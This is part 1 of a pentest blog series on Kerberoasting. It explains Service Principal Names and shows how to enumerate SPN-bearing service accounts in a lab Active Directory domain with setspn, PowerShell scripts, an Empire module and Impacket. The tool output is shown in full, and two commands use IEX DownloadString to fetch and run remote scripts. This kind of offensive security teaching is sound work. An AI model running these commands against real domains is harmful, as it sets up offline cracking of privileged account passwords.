Previous works: There has been a number of differnet blog posts, presentations and projects that have happened before this post and I will reference a number of them during the post and at the end have a link to all that I know about. If you know of any works on this subject that I am missing please submit a comment below and I’ll will be sure to reference it.
Attacker KB Link: (to be updated later)
Common Findings DB Link: (to be updated later)
What are SPNs
Service Principal Names (SPNs) are:
a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account.” - MSDN
Basically mapping a service running on a server to an account it’s running as so that it can do / accept kerberos authentication. Normally, these services, like “CIFS” (Windows Shares) run under the context of the computer account.
Why would they be associated with users?
I won’t say that this is the reason for the change, but for a long time Information Security professionals (and bad guys) have exploited the idea that services run as the all powerful “NT AUTHORITY\SYSTEM” account. For those who don’t know, this means that if someone exploits one of those services, they are basically ROOT on that machine in the Windows world.
One of the ways that Microsoft has enabled system administrators and software developers to step away from this paradigm is to create the NT AUTHORITY\NETWORK SERVICE and NT AUTHORITY\LOCAL SERVICE accounts. This allowed basic permissions and are great alternatives. However, these accounts, while perfectly limited, did not have any authentication abilities on the network. So, system administrators started using domain accounts to run services. This is where things go wrong again.
Yes, I know there is such a thing as Managed Service Accounts now (introduced in 2011 with a Windows Server 2008 R2 update) and spoiler alert, that’s the fix to the issue we will be discussing below and in the next few parts, but even MSAs have an issue that I’ll discuss in the last section of this series.
Why should I care?
Any valid domain user can request a kerberos ticket for any domain service (or even services outside the domain as long as there is a trust there). Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. The users running these services usually are at the very least administrators on the computers for which they are a service on, but more commonly they are some sort of administrative account (Domain Admins).
Listing SPNs
Ok, so, now you know the background and why you want to do this attack, but how do we go about listing what SPNs are out there for the domain you are on. There are a ton of ways to do this:
- Just use the built in
SetSPN.exe
built into Windows - Use the Get-SPN.ps1 that @_nullbind (Scott Sutherland) posted about on the NetSPI blog in a post titled Faster Domain Escalation using LDAP
- Use the PowerShell Empireport of @_nullbind’s Get-SPN powershell script
- Use Tim Medin - @timmedin’s GetUserSPNs VB script
- Use Tim Medin - @timmedin’s GetUserSPNs PowerShell script
- Use Impacket’s GetUserSPN.py - unlike the other tools and techniques, this one executes without the advantage of the Windows tokes, so you are going to need credentials, but this is also the advantage as you are not loading anything on disk or executing anything through the use of cmd.exe or powershell.exe
1. SetSPN
SetSPN is a tool built into Windows and will do that job perfectly just as Tim Medin describes in his presentation and Kerberoast Github repo:
C:\>setspn -t sittingduck -q */*
Checking domain DC=sittingduck,DC=info
CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info
TERMSRV/DC1
TERMSRV/DC1.sittingduck.info
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.sittingduck.info
ldap/DC1.sittingduck.info/DomainDnsZones.sittingduck.info
ldap/DC1.sittingduck.info/ForestDnsZones.sittingduck.info
DNS/DC1.sittingduck.info
GC/DC1.sittingduck.info/sittingduck.info
RestrictedKrbHost/DC1.sittingduck.info
RestrictedKrbHost/DC1
RPC/ebee5e45-e3a3-481d-bf6c-29f3833e2392._msdcs.sittingduck.info
HOST/DC1/SITTINGDUCK
HOST/DC1.sittingduck.info/SITTINGDUCK
HOST/DC1
HOST/DC1.sittingduck.info
HOST/DC1.sittingduck.info/sittingduck.info
E3514235-4B06-11D1-AB04-00C04FC2DCD2/ebee5e45-e3a3-481d-bf6c-29f3833e2392/sittingduck.info
ldap/DC1/SITTINGDUCK
ldap/ebee5e45-e3a3-481d-bf6c-29f3833e2392._msdcs.sittingduck.info
ldap/DC1.sittingduck.info/SITTINGDUCK
ldap/DC1
ldap/DC1.sittingduck.info
ldap/DC1.sittingduck.info/sittingduck.info
CN=krbtgt,CN=Users,DC=sittingduck,DC=info
kadmin/changepw
CN=Uber User,CN=Users,DC=sittingduck,DC=info
http/win10.sittingduck.info
CN=WIN7,CN=Computers,DC=sittingduck,DC=info
RestrictedKrbHost/WIN7
HOST/WIN7
RestrictedKrbHost/WIN7.sittingduck.info
HOST/WIN7.sittingduck.info
CN=WIN2K8R2,OU=Domain Controllers,DC=sittingduck,DC=info
TERMSRV/win2k8r2.sittingduck.info
TERMSRV/WIN2K8R2
ldap/WIN2K8R2
ldap/win2k8r2.sittingduck.info
ldap/win2k8r2.sittingduck.info/DomainDnsZones.sittingduck.info
ldap/win2k8r2.sittingduck.info/ForestDnsZones.sittingduck.info
ldap/win2k8r2.sittingduck.info/sittingduck.info
ldap/win2k8r2.sittingduck.info/SITTINGDUCK
ldap/cb4e0d50-5fc3-4900-9bc6-3d097d877ec4._msdcs.sittingduck.info
ldap/WIN2K8R2/SITTINGDUCK
HOST/win2k8r2.sittingduck.info/sittingduck.info
GC/win2k8r2.sittingduck.info/sittingduck.info
HOST/win2k8r2.sittingduck.info/SITTINGDUCK
HOST/WIN2K8R2/SITTINGDUCK
DNS/win2k8r2.sittingduck.info
E3514235-4B06-11D1-AB04-00C04FC2DCD2/cb4e0d50-5fc3-4900-9bc6-3d097d877ec4/sittingduck.info
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/win2k8r2.sittingduck.info
WSMAN/win2k8r2
WSMAN/win2k8r2.sittingduck.info
RestrictedKrbHost/WIN2K8R2
HOST/WIN2K8R2
RestrictedKrbHost/WIN2K8R2.sittingduck.info
HOST/WIN2K8R2.sittingduck.info
CN=WIN10,CN=Computers,DC=sittingduck,DC=info
RestrictedKrbHost/WIN10
HOST/WIN10
RestrictedKrbHost/win10.sittingduck.info
HOST/win10.sittingduck.info
CN=CA,CN=Computers,DC=sittingduck,DC=info
WSMAN/CA
WSMAN/CA.sittingduck.info
RestrictedKrbHost/CA
HOST/CA
RestrictedKrbHost/CA.sittingduck.info
HOST/CA.sittingduck.info
CN=MSSQL Service Admin,CN=Users,DC=sittingduck,DC=info
MSSQLSvc/WIN2K8R2.sittingduck.info
Existing SPN found!
Each line that starts with “CN” is an account” and the SPNs under it are the ones associated with that account. Lots of great information can be determined just from the output of this command. Even though for cracking purposes we only want the SPNs associated with possibly weak password accounts (usually only User accounts), we should still pull this information down.
Get-SPN
This module gives you a lot more information than SetSPN did. Having the PasswordLastSet and LastLogon helps to figure out when and if an account has ever been used. In the example below the “sqladmin01” account has never logged on and was created recently. If this password cracks then there is a good chance that it is some common password set when setting up accounts
Disclaimer: As of this writing, this module only works with PowerShell 3.0+
PS C:\> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/
nullbind/Powershellery/master/Stable-ish/Get-SPN/Get-SPN.psm1")
PS C:\> Get-SPN -type service -search "MSSQL*"
Name : MSSQL Service Admin
SAMAccount : sqladmin01
Description :
UserPrincipal : sqladmin01@sittingduck.info
DN : CN=MSSQL Service Admin,CN=Users,DC=sittingduck,DC=info
Created : 5/13/2016 11:13:20 PM
LastModified : 5/13/2016 11:13:28 PM
PasswordLastSet : 5/13/2016 7:13:20 PM
AccountExpires : <Never>
LastLogon : 12/31/1600 7:00:00 PM
GroupMembership :
SPN Count : 1
ServicePrincipalNames (SPN):
MSSQLSvc/WIN2K8R2.sittingduck.info
PowerShell Empire
This module basically just incorporates the script from above.
Disclaimer: As of this writing, this module only works with PowerShell 3.0+
(Empire: situational_awareness/network/get_spn) > info
Name: Get-SPN
Module: situational_awareness/network/get_spn
NeedsAdmin: False
OpsecSafe: True
MinPSVersion: 2
Background: True
OutputExtension: None
Authors:
@_nullbind
Description:
Displays Service Principal Names (SPN) for domain accounts
based on SPN service name, domain account, or domain group
via LDAP queries.
Options:
Name Required Value Description
---- -------- ------- -----------
Search False MSSQL* Search string for group, username, or
service name. Wildcards accepted.
Type False service 'group', 'user', or 'service'
Agent True Agent to run module on.
(Empire: situational_awareness/network/get_spn) >
Listing User SPNs
GetUserSPNs.vbs
GetUserSPNs was the first script to focus only on accounts that were Users. When you are looking at a network that has 40,000+ Windows boxes and all of the has the “HOST” SPN, it’s a lot to trudge through. This script cuts the fat and just gives you the list of SPNs that have a much higher chance of having their accounts cracked.
C:\temp> cscript GetUserSPNs.vbs
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
CN=Uber User,CN=Users,DC=sittingduck,DC=info
User Logon: uberuser
-- http/win10.sittingduck.info
CN=krbtgt,CN=Users,DC=sittingduck,DC=info
User Logon: krbtgt
-- kadmin/changepw
CN=MSSQL Service Admin,CN=Users,DC=sittingduck,DC=info
User Logon: sqladmin01
-- MSSQLSvc/WIN2K8R2.sittingduck.info
GetUserSPNs.ps1
I really like this script because it tells you the time the password was last set. This allows for you to make educated selections on which accounts to attack with your password cracking. (More hashes needed to crack, the longer it takes)
Below I use the IEX
(Invoke-Expression) command in PowerShell to download and run the PowerShell script directly from Tim’s repository, but you could just as easily upload it and run it.
PS C:\> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercon
tent.com/nidem/kerberoast/master/GetUserSPNs.ps1')
ServicePrincipalNam Name MemberOf PasswordLastSet
e
------------------- ---- -------- ---------------
http/win10.sitti... Uber User CN=Domain Admins... 11/10/2015 11:47...
kadmin/changepw krbtgt CN=Denied RODC P... 11/10/2015 6:18:...
MSSQLSvc/WIN2K8R... MSSQL Service Admin 5/13/2016 7:13:2...
Impacket
Impacket is a recent addition to the list of tools that perform SPN listing. Pull request #153 - TGS-Response code to work with windows AD was all it took to motivate @agsolino into making an example script and while PyKerberoast by @skelsec came first, it doesn’t have a plain “list” function so I wanted to save it for the extraction post.
root@wpad:~/impacket/examples# ./GetUserSPNs.py -dc-ip 192.168.168.10 sittingduck.info/notanadmin
Impacket v0.9.15-dev - Copyright 2002-2016 Core Security Technologies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet
---------------------------------- ---------- ------------------------------------------------ -------------------
http/win10.sittingduck.info uberuser CN=Domain Admins,CN=Users,DC=sittingduck,DC=info 2015-11-10 23:47:21
MSSQLSvc/WIN2K8R2.sittingduck.info sqladmin01 2016-05-13 19:13:20
And that is it for now. We have listed all of the SPNs or just the ones we needed. In Part 2 we will make requests for the SPN tickets we want.
References:
Tools
Presentations
- Tim Medin’s Slides - Kicking the Guard Dog of Hades - slides
- Tim Medin’s Video - Kicking the Guard Dog of Hades - video